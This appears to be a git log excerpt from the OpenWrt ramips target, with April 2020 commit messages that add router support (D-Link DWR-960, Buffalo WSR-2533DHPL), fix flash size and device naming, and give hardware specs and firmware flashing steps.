| | | | | | | | | | | | | | | | ZyXEL Keenetic has 8MB flash, but OpenWrt uses only 4MB. This commit fixes the problem. WikiDevi page [1] says that ZyXEL Keenetic has FLA1: 8 MiB, there is an article with specs [2] (in Russian). [1] https://wikidevi.wi-cat.ru/ZyXEL_Keenetic [2] https://3dnews.ru/608774/page-2.html Fixes: FS#2487 Fixes: a7cbf59e0e04 ("ramips: add new device ZyXEL Keenetic as kn") Signed-off-by: Alexey Dobrovolsky <dobrovolskiy.alexey@gmail.com>
* ramips: add support for D-Link DWR-960Pawel Dembicki2020-04-081-0/+190
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The DWR-960 Wireless Router is based on the MT7620A SoC. Specification: - MediaTek MT7620A (580 Mhz) - 128 MB of RAM - 16 MB of FLASH - 1x 802.11bgn radio - 1x 802.11ac radio (MT7610 mpcie card) - 4x 10/100 Mbps Ethernet (1 WAN and 3 LAN) - 1x 10/100/1000 Mbps Ethernet (1 LAN) (AR8035) - 2x internal, non-detachable antennas (Wifi 2.4G) - 3x external, detachable antennas (2x LTE, 1x Wifi 5G) - 1x LTE modem - UART (J4) header on PCB (57600 8n1) - 9x LED, 2x button - JBOOT bootloader Known issues: - Flash is extremely slow. Installation: Apply factory image via http web-gui or JBOOT recovery page How to revert to OEM firmware: - push the reset button and turn on the power. Wait until LED start blinking (~10sec.) - upload original factory image via JBOOT http (IP: 192.168.123.254) Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
* ramips: mt7621: harmonize naming scheme for MikrotikAdrian Schmutzler2020-04-083-12/+12
| | | | | | | | | | | | | | | | | So far, image/device/board names for Mikrotik devices in mt7621 have been used quite inconsistently. This patch harmonizes the naming scheme by applying the same style as used lately in ath79, i.e. using "RouterBOARD" as separate word in the model name (instead of RB prefix for the number) and deriving the board/device name from that (= make lower case and replace spaces by hyphens). This style has already been used for most the model/DEVICE_MODEL variables in mt7621, so this is essentially just adjusting the remaining variables to that. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: mt7621: reenable rbm11gTobias Schramm2020-04-081-1/+0
| | | | | | | I have a rbm11g and can confirm that the LAN port is indeed switch port 0. Signed-off-by: Tobias Schramm <t.schramm@manjaro.org>
* ramips: add support for Buffalo WSR-2533DHPLINAGAKI Hiroshi2020-04-071-0/+236
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Buffalo WSR-2533DHPL is a 2.4/5 GHz band 11ac router, based on MediaTek MT7621A. Specification: - SoC : MediaTek MT7621A - RAM : DDR3 128 MiB - Flash : SPI-NOR 16 MiB - WLAN : 2.4/5 GHz 4T4R (2x MediaTek MT7615N) - Ethernet : 10/100/1000 Mbps - Switch : MediaTek MT7530 (SoC) - LED/keys : 8x/6x (3x buttons, 2x slide-switches) - UART : through-hole on PCB - J4: 3.3V, GND, TX, RX from triangle-mark - 57600n8 - Power : 12VDC 1.5A Flash instruction using initramfs image: 1. prepare the TFTP server with the initramfs image renamed to "linux.trx-recovery" and IP address "192.168.11.2" 2. press the "AOSS" button while powering on the WSR-2533DHPL 3. after 10 seconds, release the "AOSS" button, WSR-2533DHPL downloads the initramfs image and boot with it automatically 4. on the initramfs image, download the sysupgrade image to the device and perform sysupgrade with it 5. wait ~120 seconds to complete flashing Switch position overview: - slide-switch1 (2x positions) - "AUTO" - "MANUAL" (not connected to gpio) - slide-switch2 (3x positions) - "ROUTER" - "AP" (not connected to gpio) - "WB" Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com> [add note on switches, fix group->groups for state_default] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: harmonize Netgear R6120 DT LED node namesAlex Lewontin2020-04-061-3/+3
| | | | | | | | | This changes the node names for the LEDs in the Netgear R6120 device-tree file to provide consistency with other devices. Signed-off-by: Alex Lewontin <alex.c.lewontin@gmail.com> [improve commit title/message] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add DTS triggers to USB LEDs for F9K1109v1Kip Porterfield2020-04-061-0/+18
| | | | | | | Alter DTS for Belkin F9K1109v1 to trigger USB leds from the echi/ochi ports. Signed-off-by: Kip Porterfield <kip.porterfield@gmail.com>